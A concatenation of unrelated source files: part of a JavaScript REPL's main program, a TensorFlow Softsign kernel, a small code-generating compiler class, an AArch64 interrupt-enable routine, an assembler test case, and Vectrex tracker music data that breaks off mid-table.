file.as_string()->string(); auto js_file = Core::File::construct(file_name); if (!js_file->open(Core::IODevice::ReadOnly)) { fprintf(stderr, "Failed to open %s: %s\n", file_name.characters(), js_file->error_string()); } auto file_contents = js_file->read_all(); StringView source; if (file_has_shebang(file_contents)) { source = strip_shebang(file_contents); } else { source = file_contents; } auto parser = JS::Parser(JS::Lexer(source)); auto program = parser.parse_program(); if (dump_ast) program->dump(0); if (parser.has_errors()) continue; interpreter.run(*program); if (print_last_result) print(interpreter.last_value()); } return JS::Value(true); } void repl(JS::Interpreter& interpreter) { while (true) { String piece = read_next_piece(); if (piece.is_empty()) continue; repl_statements.append(piece); auto parser = JS::Parser(JS::Lexer(piece)); auto program = parser.parse_program(); if (dump_ast) program->dump(0); if (parser.has_errors()) { printf("Parse error\n"); continue; } interpreter.run(*program); if (interpreter.exception()) { printf("Uncaught exception: "); print(interpreter.exception()->value()); interpreter.clear_exception(); } else { print(interpreter.last_value()); } } } void enable_test_mode(JS::Interpreter& interpreter) { interpreter.global_object().put_native_function("load", ReplObject::load_file); } int main(int argc, char** argv) { bool gc_on_every_allocation = false; bool syntax_highlight = false; bool test_mode = false; const char* script_path = nullptr; Core::ArgsParser args_parser; args_parser.add_option(dump_ast, "Dump the AST", "dump-ast", 'A'); args_parser.add_option(print_last_result, "Print last result", "print-last-result", 'l'); args_parser.add_option(gc_on_every_allocation, "GC on every allocation", "gc-on-every-allocation", 'g'); args_parser.add_option(syntax_highlight, "Enable live syntax highlighting", "syntax-highlight", 's'); args_parser.add_option(test_mode, "Run the interpreter with added functionality for the test harness", "test-mode", 't'); args_parser.add_positional_argument(script_path, "Path to script file", "script", Core::ArgsParser::Required::No); args_parser.parse(argc, argv); if (script_path == nullptr) { auto interpreter = JS::Interpreter::create<ReplObject>(); interpreter->heap().set_should_collect_on_every_allocation(gc_on_every_allocation); if (test_mode) enable_test_mode(*interpreter); editor = make<Line::Editor>(); signal(SIGINT, [](int) { editor->interrupted(); }); signal(SIGWINCH, [](int) { editor->resized(); }); editor->initialize(); editor->on_display_refresh = [syntax_highlight](Line::Editor& editor) { auto stylize = [&](Line::Span span, Line::Style styles) { if (syntax_highlight) editor.stylize(span, styles); }; editor.strip_styles(); StringBuilder builder; builder.append({ editor.buffer().data(), editor.buffer().size() }); // FIXME: The lexer returns weird position information without this builder.append(" "); String str = builder.build(); size_t open_indents = repl_line_level; JS::Lexer lexer(str, false); bool indenters_starting_line = true; for (JS::Token token = lexer.next(); token.type() != JS::TokenType::Eof; token = lexer.next()) { auto length = token.value().length(); auto start = token.line_column() - 2; auto end = start + length; if (indenters_starting_line) { if (token.type() != JS::TokenType::ParenClose && token.type() != JS::TokenType::BracketClose && token.type() != JS::TokenType::CurlyClose) { indenters_starting_line = false; } else { --open_indents; } } switch (token.type()) { case JS::TokenType::Invalid: case JS::TokenType::Eof: stylize({ start, end }, { Line::Style::Foreground(Line::Style::Color::Red), Line::Style::Underline }); break; case JS::TokenType::NumericLiteral: stylize({ start, end }, { Line::Style::Foreground(Line::Style::Color::Magenta) }); break; case JS::TokenType::StringLiteral: case JS::TokenType::RegexLiteral: case JS::TokenType::UnterminatedStringLiteral: stylize({ start, end }, { Line::Style::Foreground(Line::Style::Color::Green), Line::Style::Bold }); break; case JS::TokenType::BracketClose: case JS::TokenType::BracketOpen: case JS::TokenType::Caret: case JS::TokenType::Comma: case JS::TokenType::CurlyClose: case JS::TokenType::CurlyOpen: case JS::TokenType::ParenClose: case JS::TokenType::ParenOpen: case JS::TokenType::Semicolon: case JS::TokenType::Period: break; case JS::TokenType::Ampersand: case JS::TokenType::AmpersandEquals: case JS::TokenType::Asterisk: case JS::TokenType::AsteriskAsteriskEquals: case JS::TokenType::AsteriskEquals: case JS::TokenType::DoubleAmpersand: case JS::TokenType::DoubleAsterisk: case JS::TokenType::DoublePipe: case JS::TokenType::DoubleQuestionMark: case JS::TokenType::Equals: case JS::TokenType::EqualsEquals: case JS::TokenType::EqualsEqualsEquals: case JS::TokenType::ExclamationMark: case JS::TokenType::ExclamationMarkEquals: case JS::TokenType::ExclamationMarkEqualsEquals: case JS::TokenType::GreaterThan: case JS::TokenType::GreaterThanEquals: case JS::TokenType::LessThan: case JS::TokenType::LessThanEquals: case JS::TokenType::Minus: case JS::TokenType::MinusEquals: case JS::TokenType::MinusMinus: case JS::TokenType::Percent: case JS::TokenType::PercentEquals: case JS::TokenType::Pipe: case JS::TokenType::PipeEquals: case JS::TokenType::Plus: case JS::TokenType::PlusEquals: case JS::TokenType::PlusPlus: case JS::TokenType::QuestionMark: case JS::TokenType::QuestionMarkPeriod: case JS::TokenType::ShiftLeft: case JS::TokenType::ShiftLeftEquals: case JS::TokenType::ShiftRight: case JS::TokenType::ShiftRightEquals: case JS::TokenType::Slash: case JS::TokenType::SlashEquals: case JS::TokenType::Tilde: case JS::TokenType::UnsignedShiftRight: case JS::TokenType::UnsignedShiftRightEquals: break; case JS::TokenType::BoolLiteral: case JS::TokenType::NullLiteral: stylize({ start, end }, { Line::Style::Foreground(Line::Style::Color::Yellow), Line::Style::Bold }); break; case JS::TokenType::Class: case JS::TokenType::Const: case JS::TokenType::Delete: case JS::TokenType::Function: case JS::TokenType::In: case JS::TokenType::Instanceof: case JS::TokenType::Interface: case JS::TokenType::Let: case JS::TokenType::New: case JS::TokenType::Throw: case JS::TokenType::Typeof: case JS::TokenType::Var: case JS::TokenType::Void: stylize({ start, end }, { Line::Style::Foreground(Line::Style::Color::Blue), Line::Style::Bold }); break; case JS::TokenType::Await: case JS::TokenType::Case: case JS::TokenType::Catch: case JS::TokenType::Do: case JS::TokenType::Else: case JS::TokenType::Finally: case JS::TokenType::For: case JS::TokenType::If: case JS::TokenType::Return: case JS::TokenType::Switch: case JS::TokenType::Try: case JS::TokenType::While: case JS::TokenType::Yield: stylize({ start, end }, { Line::Style::Foreground(Line::Style::Color::Cyan), Line::Style::Italic }); break; case JS::TokenType::Identifier: stylize({ start, end }, { Line::Style::Foreground(Line::Style::Color::White), Line::Style::Bold }); default: break; } } editor.set_prompt(prompt_for_level(open_indents)); }; auto complete = [&interpreter, &editor = *editor](const String& token) -> Vector<Line::CompletionSuggestion> { if (token.length() == 0) return {}; // nyeh StringView line { editor.buffer().data(), editor.cursor() }; // we're only going to complete either // - <N> // where N is part of the name of a variable // - <N>.<P> // where N is the complete name of a variable and // P is part of the name of one of its properties Vector<Line::CompletionSuggestion> results; Function<void(const JS::Shape&, const StringView&)> list_all_properties = [&results, &list_all_properties](const JS::Shape& shape, auto& property_pattern) { for (const auto& descriptor : shape.property_table()) { if (descriptor.value.attributes & JS::Attribute::Enumerable) { if (descriptor.key.view().starts_with(property_pattern)) { Line::CompletionSuggestion completion { descriptor.key }; if (!results.contains_slow(completion)) { // hide duplicates results.append(completion); } } } } if (const auto* prototype = shape.prototype()) { list_all_properties(prototype->shape(), property_pattern); } }; if (token.contains(".")) { auto parts = token.split('.', true); // refuse either `.` or `a.b.c` if (parts.size() > 2 || parts.size() == 0) return {}; auto name = parts[0]; auto property_pattern = parts[1]; auto maybe_variable = interpreter->get_variable(name); if (!maybe_variable.has_value()) { maybe_variable = interpreter->global_object().get(name); if (!maybe_variable.has_value()) return {}; } const auto& variable = maybe_variable.value(); if (!variable.is_object()) return {}; const auto* object = variable.to_object(interpreter->heap()); const auto& shape = object->shape(); list_all_properties(shape, property_pattern); if (results.size()) editor.suggest(property_pattern.length()); return results; } const auto& variable = interpreter->global_object(); list_all_properties(variable.shape(), token); if (results.size()) editor.suggest(token.length()); return results; }; editor->on_tab_complete_first_token = [complete](auto& value) { return complete(value); }; editor->on_tab_complete_other_token = [complete](auto& value) { return complete(value); }; repl(*interpreter); } else { auto interpreter = JS::Interpreter::create<JS::GlobalObject>(); interpreter->heap().set_should_collect_on_every_allocation(gc_on_every_allocation); if (test_mode) enable_test_mode(*interpreter); auto file = Core::File::construct(script_path); if (!file->open(Core::IODevice::ReadOnly)) { fprintf(stderr, "Failed to open %s: %s\n", script_path, file->error_string()); return 1; } auto file_contents = file->read_all(); StringView source; if (file_has_shebang(file_contents)) { source = strip_shebang(file_contents); } else { source = file_contents; } auto parser = JS::Parser(JS::Lexer(source)); auto program = parser.parse_program(); if (dump_ast) program->dump(0); if (parser.has_errors()) { printf("Parse Error\n"); return 1; } auto result = interpreter->run(*program); if (interpreter->exception()) { printf("Uncaught exception: "); print(interpreter->exception()->value()); interpreter->clear_exception(); return 1; } if (print_last_result) print(result); } return 0; }
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ // See docs in ../ops/nn_ops.cc. #define EIGEN_USE_THREADS #include "tensorflow/core/kernels/softsign_op.h" #include "third_party/eigen3/unsupported/Eigen/CXX11/Tensor" #include "tensorflow/core/framework/numeric_op.h" #include "tensorflow/core/framework/op_kernel.h" #include "tensorflow/core/framework/register_types.h" #include "tensorflow/core/framework/tensor.h" #include "tensorflow/core/lib/core/errors.h" namespace tensorflow { typedef Eigen::ThreadPoolDevice CPUDevice; typedef Eigen::GpuDevice GPUDevice; template <typename Device, typename T> class SoftsignOp : public UnaryElementWiseOp<T, SoftsignOp<Device, T>> { public: explicit SoftsignOp(OpKernelConstruction* context) : UnaryElementWiseOp<T, SoftsignOp<Device, T>>(context) {} void Operate(OpKernelContext* context, const Tensor& input, Tensor* output) { functor::Softsign<Device, T> functor; functor(context->eigen_device<Device>(), input.flat<T>(), output->flat<T>()); } }; template <typename Device, typename T> class SoftsignGradOp : public BinaryElementWiseOp<T, SoftsignGradOp<Device, T>> { public: explicit SoftsignGradOp(OpKernelConstruction* context) : BinaryElementWiseOp<T, SoftsignGradOp<Device, T>>(context) {} void OperateNoTemplate(OpKernelContext* context, const Tensor& g, const Tensor& a, Tensor* output); // INPUTS: // g (gradients): backpropagated gradients // a (inputs): inputs that were passed to SoftsignOp() // OUTPUT: // gradients to backprop template <int NDIMS> void Operate(OpKernelContext* context, const Tensor& g, const Tensor& a, Tensor* output) { OperateNoTemplate(context, g, a, output); } }; template <typename Device, typename T> void SoftsignGradOp<Device, T>::OperateNoTemplate(OpKernelContext* context, const Tensor& g, const Tensor& a, Tensor* output) { OP_REQUIRES(context, a.IsSameSize(g), errors::InvalidArgument("g and a must be the same size")); functor::SoftsignGrad<Device, T> functor; functor(context->eigen_device<Device>(), g.flat<T>(), a.flat<T>(), output->flat<T>()); } #define REGISTER_KERNELS(type) \ REGISTER_KERNEL_BUILDER( \ Name("Softsign").Device(DEVICE_CPU).TypeConstraint<type>("T"), \ SoftsignOp<CPUDevice, type>); \ REGISTER_KERNEL_BUILDER( \ Name("SoftsignGrad").Device(DEVICE_CPU).TypeConstraint<type>("T"), \ SoftsignGradOp<CPUDevice, type>); TF_CALL_FLOAT_TYPES(REGISTER_KERNELS); #undef REGISTER_KERNELS #if GOOGLE_CUDA || TENSORFLOW_USE_ROCM // Forward declarations of the functor specializations for GPU. namespace functor { #define DECLARE_SOFTSIGN_GPU_SPEC(T) \ template <> \ void Softsign<GPUDevice, T>::operator()( \ const GPUDevice& d, typename TTypes<T>::ConstTensor features, \ typename TTypes<T>::Tensor activations); \ extern template struct Softsign<GPUDevice, T>; #define DECLARE_SOFTSIGN_GRAD_GPU_SPEC(T) \ template <> \ void SoftsignGrad<GPUDevice, T>::operator()( \ const GPUDevice& d, typename TTypes<T>::ConstTensor gradients, \ typename TTypes<T>::ConstTensor features, \ typename TTypes<T>::Tensor backprops); \ extern template struct SoftsignGrad<GPUDevice, T>; #if !defined(MLIR_GENERATED_GPU_KERNELS_ENABLED) TF_CALL_GPU_NUMBER_TYPES(DECLARE_SOFTSIGN_GPU_SPEC); #endif TF_CALL_GPU_NUMBER_TYPES(DECLARE_SOFTSIGN_GRAD_GPU_SPEC); } // namespace functor // Registration of the GPU implementations. #define REGISTER_SOFTSIGN_GPU_KERNELS(type) \ REGISTER_KERNEL_BUILDER( \ Name("Softsign").Device(DEVICE_GPU).TypeConstraint<type>("T"), \ SoftsignOp<GPUDevice, type>); #define REGISTER_SOFTSIGN_GRAD_GPU_KERNELS(type) \ REGISTER_KERNEL_BUILDER( \ Name("SoftsignGrad").Device(DEVICE_GPU).TypeConstraint<type>("T"), \ SoftsignGradOp<GPUDevice, type>); #if !defined(MLIR_GENERATED_GPU_KERNELS_ENABLED) TF_CALL_GPU_NUMBER_TYPES(REGISTER_SOFTSIGN_GPU_KERNELS); #endif TF_CALL_GPU_NUMBER_TYPES(REGISTER_SOFTSIGN_GRAD_GPU_KERNELS); #undef REGISTER_SOFTSIGN_GPU_KERNELS #undef REGISTER_SOFTSIGN_GRAD_GPU_KERNELS #endif // GOOGLE_CUDA || TENSORFLOW_USE_ROCM } // namespace tensorflow
#include "compiler.h" #include <iostream> #include <fstream> #include "parser.h" #include "generate_rule_cpp.h" #include "generate_rule_python.h" #include "generate_rule_csharp.h" Compiler::Compiler(const std::string& sFileName, const std::string& sOption) : m_sFileName(sFileName), m_sOption(sOption) { } Compiler::~Compiler() { } bool Compiler::Compile() { size_t nFileNameStartPos = m_sFileName.rfind('\\') + 1; nFileNameStartPos = nFileNameStartPos > m_sFileName.rfind("/") + 1 ? nFileNameStartPos : m_sFileName.rfind("/") + 1; std::string sSrcFilePath = ""; sSrcFilePath = m_sFileName.substr(0, nFileNameStartPos); size_t nFileNameEndPos = m_sFileName.rfind('.'); if(std::string::npos == nFileNameEndPos) { std::cout << "wrong input file format" << std::endl; return false; } const std::string sOutPath = sSrcFilePath; std::string sFileName = m_sFileName.substr(nFileNameStartPos, nFileNameEndPos-nFileNameStartPos); std::string sOutFile = ""; Token::Parser* pParser = NULL; if("py" == m_sOption) { sOutFile = sOutPath + sFileName + ".py"; pParser = new GenerateRulePython(sFileName); } else if("cpp" == m_sOption) { sOutFile = sOutPath + sFileName + ".h"; pParser = new GenerateRuleCpp(sFileName); } else if("cs" == m_sOption) { sOutFile = sOutPath + sFileName + ".cs"; pParser = new GenerateRuleCSharp(sFileName); } std::cout << "in-file:" << m_sFileName << std::endl; std::cout << "outfile:" << sOutFile << std::endl; Token::StmtList* pRoot = MakeParseTree(m_sFileName.c_str()); if(NULL == pRoot) { return false; } std::ofstream output; std::streambuf* pOld = nullptr; if("" != sFileName) { output.open(sOutFile.c_str()); if(output.fail()) { std::cout << "fail(can't open file)" << std::endl; return false; } pOld = std::cout.rdbuf(output.rdbuf()); } if(false == pParser->CompileStmtList(pRoot)) { return false; }; std::cout.rdbuf(pOld); output.close(); std::cout << "complete compile(" << m_sFileName << " -> " << sOutFile << ")" << std::endl; return true; }
;------------------------------------------------------------------------------ ; ; EnableInterrupts() for AArch64 ; ; Copyright (c) 2006 - 2009, Intel Corporation. All rights reserved.<BR> ; Portions copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR> ; Portions copyright (c) 2011 - 2013, ARM Ltd. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ;------------------------------------------------------------------------------ EXPORT EnableInterrupts AREA BaseLib_LowLevel, CODE, READONLY DAIF_WR_IRQ_BIT EQU (1 << 1) ;/** ; Enables CPU interrupts. ; ;**/ ;VOID ;EFIAPI ;EnableInterrupts ( ; VOID ; ); ; EnableInterrupts msr daifclr, #DAIF_WR_IRQ_BIT ret END
; Test case: game_version: equ "2" add a, 0x0a add a, 0x0b add a, 0x0c db (0x0001 / 65536) db (0x0001 / 0x0100) & 0xff db (0x0001 % 0x0100) dw 0x0000 db (0x0002 / 0x0100) db (0x0002 % 0x0100) db 0x0003
; This file was build using VIDE - Vectrex Integrated Development Environment ; Original bin file was: projects/VRelease/VTK_TitleMusic.bin ; ; offset for AKS file assumed: $0000 guessed by accessing byte data[13] * 256) ; not used by vectrex player and therefor omitted: ; DB "AT10" ; Signature of Arkos Tracker files ; DB $01 ; sample channel ; DB $40, 42, 0f ; YM custom frequence - little endian ; DB $02 ; Replay frequency (0=13hz,1=25hz,2=50hz,3=100hz,4=150hz,5=300hz) db $06 ; $0009: default speed dw $00CF ; $000A: size of instrument table (without this word pointer) dw instrument0_title ; $000C: [$0026] pointer to instrument 0 dw instrument1_title ; $000E: [$002F] pointer to instrument 1 dw instrument2_title ; $0010: [$0037] pointer to instrument 2 dw instrument3_title ; $0012: [$0046] pointer to instrument 3 dw instrument4_title ; $0014: [$0055] pointer to instrument 4 dw instrument5_title ; $0016: [$0063] pointer to instrument 5 dw instrument6_title ; $0018: [$0071] pointer to instrument 6 dw instrument7_title ; $001A: [$007A] pointer to instrument 7 dw instrument8_title ; $001C: [$0087] pointer to instrument 8 dw instrument9_title ; $001E: [$0090] pointer to instrument 9 dw instrument10_title ; $0020: [$00A2] pointer to instrument 10 dw instrument11_title ; $0022: [$00B4] pointer to instrument 11 dw instrument12_title ; $0024: [$00C9] pointer to instrument 12 instrument0_title: db $00 ; $0026: speed db $00 ; $0027: retrig instrument0loop_title: db $00 ; $0028: dataColumn_0 (non hard), vol=$0 db $00 ; $0029: dataColumn_0 (non hard), vol=$0 db $00 ; $002A: dataColumn_0 (non hard), vol=$0 db $00 ; $002B: dataColumn_0 (non hard), vol=$0 db $0D ; $002C: dataColumn_0 (hard) dw instrument0loop_title ; $002D: [$0028] loop instrument1_title: db $03 ; $002F: speed db $00 ; $0030: retrig instrument1loop_title: db $3C ; $0031: dataColumn_0 (non hard), vol=$F db $7C ; $0032: dataColumn_0 (non hard), vol=$F db $0C ; $0033: arpegio db $0D ; $0034: dataColumn_0 (hard) dw instrument1loop_title ; $0035: [$0031] loop instrument2_title: db $01 ; $0037: speed db $00 ; $0038: retrig db $34 ; $0039: dataColumn_0 (non hard), vol=$D db $34 ; $003A: dataColumn_0 (non hard), vol=$D db $34 ; $003B: dataColumn_0 (non hard), vol=$D db $2C ; $003C: dataColumn_0 (non hard), vol=$B db $24 ; $003D: dataColumn_0 (non hard), vol=$9 db $20 ; $003E: dataColumn_0 (non hard), vol=$8 instrument2loop_title: db $1C ; $003F: dataColumn_0 (non hard), vol=$7 db $1C ; $0040: dataColumn_0 (non hard), vol=$7 db $1C ; $0041: dataColumn_0 (non hard), vol=$7 db $1C ; $0042: dataColumn_0 (non hard), vol=$7 db $0D ; $0043: dataColumn_0 (hard) dw instrument2loop_title ; $0044: [$003F] loop instrument3_title: db $01 ; $0046: speed db $00 ; $0047: retrig db $24 ; $0048: dataColumn_0 (non hard), vol=$9 db $20 ; $0049: dataColumn_0 (non hard), vol=$8 db $20 ; $004A: dataColumn_0 (non hard), vol=$8 db $1C ; $004B: dataColumn_0 (non hard), vol=$7 db $18 ; $004C: dataColumn_0 (non hard), vol=$6 db $14 ; $004D: dataColumn_0 (non hard), vol=$5 instrument3loop_title: db $10 ; $004E: dataColumn_0 (non hard), vol=$4 db $10 ; $004F: dataColumn_0 (non hard), vol=$4 db $10 ; $0050: dataColumn_0 (non hard), vol=$4 db $10 ; $0051: dataColumn_0 (non hard), vol=$4 db $0D ; $0052: dataColumn_0 (hard) dw instrument3loop_title ; $0053: [$004E] loop instrument4_title: db $03 ; $0055: speed db $00 ; $0056: retrig db $78 ; $0057: dataColumn_0 (non hard), vol=$E db $0C ; $0058: arpegio db $30 ; $0059: dataColumn_0 (non hard), vol=$C db $28 ; $005A: dataColumn_0 (non hard), vol=$A db $24 ; $005B: dataColumn_0 (non hard), vol=$9 db $24 ; $005C: dataColumn_0 (non hard), vol=$9 db $20 ; $005D: dataColumn_0 (non hard), vol=$8 db $1C ; $005E: dataColumn_0 (non hard), vol=$7 db $18 ; $005F: dataColumn_0 (non hard), vol=$6 db $0D ; $0060: dataColumn_0 (hard) dw instrument0loop_title ; $0061: [$0028] loop instrument5_title: db $01 ; $0063: speed db $00 ; $0064: retrig db $76 ; $0065: dataColumn_0 (non hard), vol=$D db $2C ; $0066: dataColumn_1, noise=$0C db $17 ; $0067: arpegio db $74 ; $0068: dataColumn_0 (non hard), vol=$D db $15 ; $0069: arpegio db $74 ; $006A: dataColumn_0 (non hard), vol=$D db $10 ; $006B: arpegio db $34 ; $006C: dataColumn_0 (non hard), vol=$D db $34 ; $006D: dataColumn_0 (non hard), vol=$D db $0D ; $006E: dataColumn_0 (hard) dw instrument0loop_title ; $006F: [$0028] loop instrument6_title: db $01 ; $0071: speed db $00 ; $0072: retrig db $2A ; $0073: dataColumn_0 (non hard), vol=$A db $01 ; $0074: dataColumn_1, noise=$01 db $2E ; $0075: dataColumn_0 (non hard), vol=$B db $01 ; $0076: dataColumn_1, noise=$01 db $0D ; $0077: dataColumn_0 (hard) dw instrument0loop_title ; $0078: [$0028] loop instrument7_title: db $03 ; $007A: speed db $00 ; $007B: retrig db $7C ; $007C: dataColumn_0 (non hard), vol=$F db $18 ; $007D: arpegio db $70 ; $007E: dataColumn_0 (non hard), vol=$C db $0C ; $007F: arpegio db $6C ; $0080: dataColumn_0 (non hard), vol=$B db $0C ; $0081: arpegio db $64 ; $0082: dataColumn_0 (non hard), vol=$9 db $0C ; $0083: arpegio db $0D ; $0084: dataColumn_0 (hard) dw instrument0loop_title ; $0085: [$0028] loop instrument8_title: db $01 ; $0087: speed db $00 ; $0088: retrig db $2A ; $0089: dataColumn_0 (non hard), vol=$A db $03 ; $008A: dataColumn_1, noise=$03 db $26 ; $008B: dataColumn_0 (non hard), vol=$9 db $03 ; $008C: dataColumn_1, noise=$03 db $0D ; $008D: dataColumn_0 (hard) dw instrument0loop_title ; $008E: [$0028] loop instrument9_title: db $03 ; $0090: speed db $00 ; $0091: retrig db $30 ; $0092: dataColumn_0 (non hard), vol=$C db $70 ; $0093: dataColumn_0 (non hard), vol=$C db $03 ; $0094: arpegio db $6C ; $0095: dataColumn_0 (non hard), vol=$B db $07 ; $0096: arpegio db $20 ; $0097: dataColumn_0 (non hard), vol=$8 db $5C ; $0098: dataColumn_0 (non hard), vol=$7 db $03 ; $0099: arpegio db $54 ; $009A: dataColumn_0 (non hard), vol=$5 db $07 ; $009B: arpegio db $10 ; $009C: dataColumn_0 (non hard), vol=$4 db $4C ; $009D: dataColumn_0 (non hard), vol=$3 db $03 ; $009E: arpegio db $0D ; $009F: dataColumn_0 (hard) dw instrument0loop_title ; $00A0: [$0028] loop instrument10_title: db $03 ; $00A2: speed db $00 ; $00A3: retrig db $30 ; $00A4: dataColumn_0 (non hard), vol=$C db $70 ; $00A5: dataColumn_0 (non hard), vol=$C db $05 ; $00A6: arpegio db $6C ; $00A7: dataColumn_0 (non hard), vol=$B db $08 ; $00A8: arpegio db $20 ; $00A9: dataColumn_0 (non hard), vol=$8 db $5C ; $00AA: dataColumn_0 (non hard), vol=$7 db $05 ; $00AB: arpegio db $54 ; $00AC: dataColumn_0 (non hard), vol=$5 db $08 ; $00AD: arpegio db $10 ; $00AE: dataColumn_0 (non hard), vol=$4 db $4C ; $00AF: dataColumn_0 (non hard), vol=$3 db $05 ; $00B0: arpegio db $0D ; $00B1: dataColumn_0 (hard) dw instrument0loop_title ; $00B2: [$0028] loop instrument11_title: db $01 ; $00B4: speed db $00 ; $00B5: retrig db $7E ; $00B6: dataColumn_0 (non hard), vol=$F db $22 ; $00B7: dataColumn_1, noise=$02 db $18 ; $00B8: arpegio db $7C ; $00B9: dataColumn_0 (non hard), vol=$F db $1C ; $00BA: arpegio db $7C ; $00BB: dataColumn_0 (non hard), vol=$F db $1E ; $00BC: arpegio db $7A ; $00BD: dataColumn_0 (non hard), vol=$E db $23 ; $00BE: dataColumn_1, noise=$03 db $30 ; $00BF: arpegio db $76 ; $00C0: dataColumn_0 (non hard), vol=$D db $22 ; $00C1: dataColumn_1, noise=$02 db $18 ; $00C2: arpegio db $72 ; $00C3: dataColumn_0 (non hard), vol=$C db $23 ; $00C4: dataColumn_1, noise=$03 db $18 ; $00C5: arpegio db $0D ; $00C6: dataColumn_0 (hard) dw instrument0loop_title ; $00C7: [$0028] loop instrument12_title: db $03 ; $00C9: speed db $00 ; $00CA: retrig db $30 ; $00CB: dataColumn_0 (non hard), vol=$C db $70 ; $00CC: dataColumn_0 (non hard), vol=$C db $05 ; $00CD: arpegio db $6C ; $00CE: dataColumn_0 (non hard), vol=$B db $07 ; $00CF: arpegio db $20 ; $00D0: dataColumn_0 (non hard), vol=$8 db $5C ; $00D1: dataColumn_0 (non hard), vol=$7 db $05 ; $00D2: arpegio db $54 ; $00D3: dataColumn_0 (non hard), vol=$5 db $07 ; $00D4: arpegio db $10 ; $00D5: dataColumn_0 (non hard), vol=$4 db $4C ; $00D6: dataColumn_0 (non hard), vol=$3 db $05 ; $00D7: arpegio db $0D ; $00D8: dataColumn_0 (hard) dw instrument0loop_title ; $00D9: [$0028] loop ; start of linker definition linker_title: db $20 ; $00DB: first height db $00 ; $00DC: transposition1 db $00 ; $00DD: transposition2 db $00 ; $00DE: transposition3 dw specialtrackDef0_title ; $00DF: [$0214] specialTrack pattern0Definition_title: db $10 ; $00E1: pattern 0 state dw trackDef0_title ; $00E2: [$021B] pattern 0, track 1 dw trackDef1_title ; $00E4: [$0216] pattern 0, track 2 dw trackDef1_title ; $00E6: [$0216] pattern 0, track 3 db $20 ; $00E8: new height pattern1Definition_title: db $10 ; $00E9: pattern 1 state dw trackDef3_title ; $00EA: [$025E] pattern 1, track 1 dw trackDef1_title ; $00EC: [$0216] pattern 1, track 2 dw trackDef1_title ; $00EE: [$0216] pattern 1, track 3 db $0D ; $00F0: new height pattern2Definition_title: db $10 ; $00F1: pattern 2 state dw trackDef4_title ; $00F2: [$026B] pattern 2, track 1 dw trackDef5_title ; $00F4: [$029B] pattern 2, track 2 dw trackDef6_title ; $00F6: [$02BE] pattern 2, track 3 db $10 ; $00F8: new height pattern3Definition_title: db $00 ; $00F9: pattern 3 state dw trackDef7_title ; $00FA: [$0279] pattern 3, track 1 dw trackDef5_title ; $00FC: [$029B] pattern 3, track 2 dw trackDef6_title ; $00FE: [$02BE] pattern 3, track 3 pattern4Definition_title: db $00 ; $0100: pattern 4 state dw trackDef9_title ; $0101: [$0286] pattern 4, track 1 dw trackDef5_title ; $0103: [$029B] pattern 4, track 2 dw trackDef6_title ; $0105: [$02BE] pattern 4, track 3 pattern5Definition_title: db $00 ; $0107: pattern 5 state dw trackDef1_title ; $0108: [$0216] pattern 5, track 1 dw trackDef5_title ; $010A: [$029B] pattern 5, track 2 dw trackDef6_title ; $010C: [$02BE] pattern 5, track 3 pattern6Definition_title: db $00 ; $010E: pattern 6 state dw trackDef1_title ; $010F: [$0216] pattern 6, track 1 dw trackDef5_title ; $0111: [$029B] pattern 6, track 2 dw trackDef6_title ; $0113: [$02BE] pattern 6, track 3 pattern7Definition_title: db $00 ; $0115: pattern 7 state dw trackDef1_title ; $0116: [$0216] pattern 7, track 1 dw trackDef5_title ; $0118: [$029B] pattern 7, track 2 dw trackDef6_title ; $011A: [$02BE] pattern 7, track 3 pattern8Definition_title: db $00 ; $011C: pattern 8 state dw trackDef1_title ; $011D: [$0216] pattern 8, track 1 dw trackDef5_title ; $011F: [$029B] pattern 8, track 2 dw trackDef6_title ; $0121: [$02BE] pattern 8, track 3 pattern9Definition_title: db $00 ; $0123: pattern 9 state dw trackDef1_title ; $0124: [$0216] pattern 9, track 1 dw trackDef5_title ; $0126: [$029B] pattern 9, track 2 dw trackDef6_title ; $0128: [$02BE] pattern 9, track 3 pattern10Definition_title: db $02 ; $012A: pattern 10 state db $07 ; $012B: transposition 1 dw trackDef16_title ; $012C: [$02E1] pattern 10, track 1 dw trackDef5_title ; $012E: [$029B] pattern 10, track 2 dw trackDef6_title ; $0130: [$02BE] pattern 10, track 3 pattern11Definition_title: db $00 ; $0132: pattern 11 state dw trackDef16_title ; $0133: [$02E1] pattern 11, track 1 dw trackDef5_title ; $0135: [$029B] pattern 11, track 2 dw trackDef6_title ; $0137: [$02BE] pattern 11, track 3 pattern12Definition_title: db $00 ; $0139: pattern 12 state dw trackDef16_title ; $013A: [$02E1] pattern 12, track 1 dw trackDef5_title ; $013C: [$029B] pattern 12, track 2 dw trackDef6_title ; $013E: [$02BE] pattern 12, track 3 pattern13Definition_title: db $00 ; $0140: pattern 13 state dw trackDef16_title ; $0141: [$02E1] pattern 13, track 1 dw trackDef5_title ; $0143: [$029B] pattern 13, track 2 dw trackDef6_title ; $0145: [$02BE] pattern 13, track 3 pattern14Definition_title: db $02 ; $0147: pattern 14 state db $03 ; $0148: transposition 1 dw trackDef16_title ; $0149: [$02E1] pattern 14, track 1 dw trackDef5_title ; $014B: [$029B] pattern 14, track 2 dw trackDef6_title ; $014D: [$02BE] pattern 14, track 3 pattern15Definition_title: db $00 ; $014F: pattern 15 state dw trackDef16_title ; $0150: [$02E1] pattern 15, track 1 dw trackDef5_title ; $0152: [$029B] pattern 15, track 2 dw trackDef6_title ; $0154: [$02BE] pattern 15, track 3 pattern16Definition_title: db $00 ; $0156: pattern 16 state dw trackDef16_title ; $0157: [$02E1] pattern 16, track 1 dw trackDef5_title ; $0159: [$029B] pattern 16, track 2 dw trackDef6_title ; $015B: [$02BE] pattern 16, track 3 pattern17Definition_title: db $00 ; $015D: pattern 17 state dw trackDef16_title ; $015E: [$02E1] pattern 17, track 1 dw trackDef5_title ; $0160: [$029B] pattern 17, track 2 dw trackDef6_title ; $0162: [$02BE] pattern 17, track 3 pattern18Definition_title: db $02 ; $0164: pattern 18 state db $00 ; $0165: transposition 1 dw trackDef16_title ; $0166: [$02E1] pattern 18, track 1 dw trackDef5_title ; $0168: [$029B] pattern 18, track 2 dw trackDef6_title ; 